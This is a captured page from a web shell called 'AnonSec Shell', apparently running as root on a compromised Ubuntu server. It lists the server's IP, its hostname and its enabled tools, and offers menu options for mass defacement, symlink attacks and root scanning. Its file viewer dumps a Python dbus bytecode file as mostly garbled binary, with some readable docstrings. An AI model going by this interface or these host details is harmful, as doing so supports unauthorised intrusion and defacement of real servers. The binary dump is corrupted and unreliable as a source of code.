AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/dbus/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/dbus/__pycache__/proxies.cpython-310.pyc
o

�t3b�`�@s�ddlZzddlmZWneyddlmZYnwddlZddlmZddlm	Z	m
Z
mZmZdZ
e�d�ZddlmZmZmZmZmZddlmZGd	d
�d
�ZGdd�d�ZGd
d�de�ZGdd�de�ZdS)�N)�RLock)�process_introspection_data)�
DBusException�IntrospectionParserException�MissingErrorHandlerException�MissingReplyHandlerExceptionZrestructuredtextzdbus.proxies)�BUS_DAEMON_IFACE�BUS_DAEMON_NAME�BUS_DAEMON_PATH�INTROSPECTABLE_IFACE�
LOCAL_PATH)�is_py2c@�(eZdZdZdd�Zdd�Zdd�ZdS)	�_DeferredMethodzXA proxy method which will only get called once we have its
    introspection reply.
    cCs||_|j|_||_||_dS�N)�
_proxy_method�_method_name�_append�_block)�self�proxy_method�append�block�r�./usr/lib/python3/dist-packages/dbus/proxies.py�__init__8s
z_DeferredMethod.__init__cOs@d|vs
|�dd�r|�|j||�dS|��|j|i|��S)N�
reply_handler�ignore_replyF)�getrrr�r�args�keywordsrrr�__call__?s
�z_DeferredMethod.__call__cOs|�|j||�dSr)rrrrrr�
call_asyncJsz_DeferredMethod.call_asyncN��__name__�
__module__�__qualname__�__doc__rr"r#rrrrr4s
rc@r)	�_ProxyMethodz�A proxy method.

    Typically a member of a ProxyObject. Calls to the
    method produce messages that travel over the Bus and are routed
    to a specific named Service.
    cCsX|tkr
tdt��||_||_||_||_t�|�||_|dur't�	|�||_
dS)Nz1Methods may not be called on the reserved path %s)rr�_proxy�_connection�_named_service�_object_path�_dbus_bindingsZvalidate_member_namerZvalidate_interface_name�_dbus_interface)r�proxyZ
connection�bus_name�object_pathZmethod_nameZifacerrrrUs�


z_ProxyMethod.__init__c		Os|�dd�}|�dd�}|�dd�}|�dd�}|dus |dur4|dur't��|dur.t��|r4td��|�d|j�}|durV|durG|j}n|d|j}|jj�|d�}|s\|durr|j	j
|j|j||j||||fi|��dS|j	j
|j|j||j||fi|��S)	Nr�
error_handlerrF�	signaturez6ignore_reply and reply_handler cannot be used together�dbus_interface�.)�poprr�	TypeErrorr/rr*�_introspect_method_maprr+r#r,r-Z
call_blocking)	rr r!rr3rr4r5�keyrrrr"isL
�
�

��z_ProxyMethod.__call__c	Os�|�dd�}|�dd�}|�dd�}|�d|j�}|dur2|r'|d|j}n|j}|jj�|d�}|jj|j|j	||j||||fi|��dS)Nrr3r4r5r6)
r7r/rr*r9rr+r#r,r-)rr r!rr3r4r5r:rrrr#�s(
�
�z_ProxyMethod.call_asyncNr$rrrrr)Ns
,r)c@s�eZdZdZeZeZdZdZ	dZ
		d%dd	�Zed
d�ddd�Z
ed
d�ddd�Zedd�ddd�Zd&dd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd �Zd&d!d"�Zd#d$�ZeZdS)'�ProxyObjectz�A proxy to the remote Object.

    A ProxyObject is provided by the Bus. ProxyObjects
    have member functions, and can be called like normal Python objects.
    r��NTFc
Ks8|�dd�}|dur!|durtd��|}ddlm}|dtdd�|�d	d�}	|	durB|dur3td
��|	}ddlm}|dtdd�|rOtdd
�|�����|rU|��||_|durat	�
|�||_|_t	�
|�||_|sw|�|�|_d|_g|_i|_t�|_|r�|jtkr�|j|_dS|j|_|��|_dS)a�Initialize the proxy object.

        :Parameters:
            `conn` : `dbus.connection.Connection`
                The bus or connection on which to find this object.
                The keyword argument `bus` is a deprecated alias for this.
            `bus_name` : str
                A bus name for the application owning the object, to be used
                as the destination for method calls and the sender for
                signal matches. The keyword argument ``named_service`` is a
                deprecated alias for this.
            `object_path` : str
                The object path at which the application exports the object
            `introspect` : bool
                If true (default), attempt to introspect the remote
                object to find out supported methods and their signatures
            `follow_name_owner_changes` : bool
                If true (default is false) and the `bus_name` is a
                well-known name, follow ownership changes for that name
        �busNz%conn and bus cannot both be specifiedr)�warnz`Passing the bus parameter to ProxyObject by name is deprecated: please use positional parametersr=)�
stacklevel�
named_servicez3bus_name and named_service cannot both be specifiedzjPassing the named_service parameter to ProxyObject by name is deprecated: please use positional parametersz>ProxyObject.__init__ does not take these keyword arguments: %sz, )r7r8�warningsr?�DeprecationWarning�join�keysZ_require_main_loop�_busr.Zvalidate_bus_namer,�_requested_bus_nameZvalidate_object_path�__dbus_object_path__Zactivate_name_owner�_pending_introspect�_pending_introspect_queuer9r�_introspect_lockr� INTROSPECT_STATE_DONT_INTROSPECT�_introspect_state�'INTROSPECT_STATE_INTROSPECT_IN_PROGRESS�_Introspect)
rZconnr1r2Z
introspectZfollow_name_owner_changes�kwargsr>r?rArrrr�sP���

zProxyObject.__init__cC�|jSr)r,�rrrr�<lambda>�zProxyObject.<lambda>a�The bus name to which this proxy is bound. (Read-only,
            may change.)

            If the proxy was instantiated using a unique name, this property
            is that unique name.

            If the proxy was instantiated with a well-known name and with
            ``follow_name_owner_changes`` set false (the default), this
            property is the unique name of the connection that owned that
            well-known name when the proxy was instantiated, which might
            not actually own the requested well-known name any more.

            If the proxy was instantiated with a well-known name and with
            ``follow_name_owner_changes`` set true, this property is that
            well-known name.
            cCrQr)rGrRrrrrS rTz[The bus name which was requested when this proxy was
            instantiated.
            cCrQr)rHrRrrrrS&rTzThe object-path of this proxy.cKs"|jj|f|||j|jd�|��S)axArrange for the given function to be called when the given signal
        is received.

        :Parameters:
            `signal_name` : str
                The name of the signal
            `handler_function` : callable
                A function to be called when the signal is emitted by
                the remote object. Its positional arguments will be the
                arguments of the signal; optionally, it may be given
                keyword arguments as described below.
            `dbus_interface` : str
                Optional interface with which to qualify the signal name.
                If None (the default) the handler will be called whenever a
                signal of the given member name is received, whatever
                its interface.
        :Keywords:
            `utf8_strings` : bool
                If True, the handler function will receive any string
                arguments as dbus.UTF8String objects (a subclass of str
                guaranteed to be UTF-8). If False (default) it will receive
                any string arguments as dbus.String objects (a subclass of
                unicode).
            `byte_arrays` : bool
                If True, the handler function will receive any byte-array
                arguments as dbus.ByteArray objects (a subclass of str).
                If False (default) it will receive any byte-array
                arguments as a dbus.Array of dbus.Byte (subclasses of:
                a list of ints).
            `sender_keyword` : str
                If not None (the default), the handler function will receive
                the unique name of the sending endpoint as a keyword
                argument with this name
            `destination_keyword` : str
                If not None (the default), the handler function will receive
                the bus name of the destination (or None if the signal is a
                broadcast, as is usual) as a keyword argument with this name.
            `interface_keyword` : str
                If not None (the default), the handler function will receive
                the signal interface as a keyword argument with this name.
            `member_keyword` : str
                If not None (the default), the handler function will receive
                the signal name as a keyword argument with this name.
            `path_keyword` : str
                If not None (the default), the handler function will receive
                the object-path of the sending object as a keyword argument
                with this name
            `message_keyword` : str
                If not None (the default), the handler function will receive
                the `dbus.lowlevel.SignalMessage` as a keyword argument with
                this name.
            `arg...` : unicode or UTF-8 str
                If there are additional keyword parameters of the form
                ``arg``\ *n*, match only signals where the *n*\ th argument
                is the value given for that keyword parameter. As of this time
                only string arguments can be matched (in particular,
                object paths and signatures can't).
        )�signal_namer5r1�path)rFZadd_signal_receiverr,rH�rrUZhandler_functionr5r!rrr�connect_to_signal2s
<���zProxyObject.connect_to_signalc	Cs>i}trd|d<|jj|j|jtddd|j|jfddi|��S)NTZutf8_stringsZ
Introspect�rZrequire_main_loopF)r
rFr#r,rHr�_introspect_reply_handler�_introspect_error_handler)rrPrrrrOus
���zProxyObject._IntrospectcCs*|jD]\}}}||i|��qg|_dSr)rJ)rrr r!rrr�_introspect_execute_queue�s
z%ProxyObject._introspect_execute_queuec
Cs�|j��z9zt|�|_Wnty+}z|�|�WYd}~W|j��dSd}~ww|j|_d|_	|�
�W|j��dS|j��wr)rK�acquirerr9rr[�release� INTROSPECT_STATE_INTROSPECT_DONErMrIr\)r�data�errrrZ�s

��
z%ProxyObject._introspect_reply_handlercCspt��t�d|j|j|jj|jj|�|j	�
�zt�d�|j|_
d|_|��W|j	��dS|j	��w)Nz$Introspect error on %s:%s: %s.%s: %sz'Executing introspect queue due to error)�loggingZbasicConfig�_logger�errorr,rH�	__class__r&r%rKr]�debugrLrMrIr\r^)rrdrrrr[�s�


z%ProxyObject._introspect_error_handlercCsL|j��z|jdur|j��W|j��dSW|j��dS|j��wr)rKr]rIrr^rRrrr�_introspect_block�s

�zProxyObject._introspect_blockcCsf|j��z'|j|jkr|j�|||f�n||i|��W|j��dSW|j��dS|j��wr)rKr]rMrNrJrr^)r�callbackr rPrrr�_introspect_add_to_queue�s
�z$ProxyObject._introspect_add_to_queuecCs&|�d�r|�d�rt|��|�|�S�N�__)�
startswith�endswith�AttributeError�get_dbus_method�r�memberrrr�__getattr__�s
zProxyObject.__getattr__cCs<|�||j|j|j||�}|j|jkr|�||j|j�}|S)a,Return a proxy method representing the given D-Bus method. The
        returned proxy method can be called in the usual way. For instance, ::

            proxy.get_dbus_method("Foo", dbus_interface='com.example.Bar')(123)

        is equivalent to::

            proxy.Foo(123, dbus_interface='com.example.Bar')

        or even::

            getattr(proxy, "Foo")(123, dbus_interface='com.example.Bar')

        However, using `get_dbus_method` is the only way to call D-Bus
        methods with certain awkward names - if the author of a service
        implements a method called ``connect_to_signal`` or even
        ``__getattr__``, you'll need to use `get_dbus_method` to call them.

        For services which follow the D-Bus convention of CamelCaseMethodNames
        this won't be a problem.
        )	�ProxyMethodClassrFr,rHrMrN�DeferredMethodClassrirg)rrqr5�retrrrro�s
�	
�zProxyObject.get_dbus_methodcCsd|j|j|jt|�fS)Nz&<ProxyObject wrapping %s %s %s at %#x>)rFr,rH�idrRrrr�__repr__�s�zProxyObject.__repr__)NNNTFr)r%r&r'r(r)rsrrtrLrNr_r�propertyr1�requested_bus_namer2rXrOr\rZr[rgrirrrorw�__str__rrrrr;�s@
�S���
C

&r;c@s�eZdZdZdd�Zedd�ddd�ZeZedd�ddd	�Zed
d�ddd�Z	edd�ddd
�Z
edd�ddd�Z	ddd�Zdd�Z
ddd�Zdd�ZeZdS)�	Interfacez�An interface into a remote object.

    An Interface can be used to wrap ProxyObjects
    so that calls can be routed to their correct
    D-Bus interface.
    cCs$t|t�r
|j|_n||_||_dS)a:Construct a proxy for the given interface on the given object.

        :Parameters:
            `object` : `dbus.proxies.ProxyObject` or `dbus.Interface`
                The remote object or another of its interfaces
            `dbus_interface` : str
                An interface the `object` implements
        N)�
isinstancer{�proxy_object�_objr/)r�objectr5rrrr�s
	

zInterface.__init__cC�|jjSr)r~r2rRrrrrS�zInterface.<lambda>Nz.The D-Bus object path of the underlying objectcCr�r)r~r1rRrrrrSr�z:The bus name to which the underlying proxy object is boundcCr�r)r~ryrRrrrrSr�zGThe bus name which was requested when the underlying object was createdcCrQr)r~rRrrrrSrTzThe underlying proxy objectcCrQr)r/rRrrrrSrTzThe D-Bus interface representedcKs"|s|j}|jj|||fi|��S)aaArrange for a function to be called when the given signal is
        emitted.

        The parameters and keyword arguments are the same as for
        `dbus.proxies.ProxyObject.connect_to_signal`, except that if
        `dbus_interface` is None (the default), the D-Bus interface that
        was passed to the `Interface` constructor is used.
        )r/r~rXrWrrrrXs

��zInterface.connect_to_signalcCs,|�d�r|�d�rt|��|j�||j�Srj)rlrmrnr~ror/rprrrrr$szInterface.__getattr__cCs|dur|j}|j�||�S)a&Return a proxy method representing the given D-Bus method.

        This is the same as `dbus.proxies.ProxyObject.get_dbus_method`
        except that if `dbus_interface` is None (the default),
        the D-Bus interface that was passed to the `Interface` constructor
        is used.
        N)r/r~ro)rrqr5rrrro*szInterface.get_dbus_methodcCsd|j|jt|�fS)Nz%<Interface %r implementing %r at %#x>)r~r/rvrRrrrrw6s�zInterface.__repr__r)r%r&r'r(rrxr2rHr1ryr}r5rXrrrorwrzrrrrr{�s4�����
�
r{)rbZ	threadingr�ImportErrorZdummy_threadingr.Zdbus._expat_introspect_parserrZdbus.exceptionsrrrrZ
__docformat__Z	getLoggerrcrr	r
rrZdbus._compatr
rr)rr;r{rrrr�<module>s&�
`B

Anon7 - 2022
AnonSec Team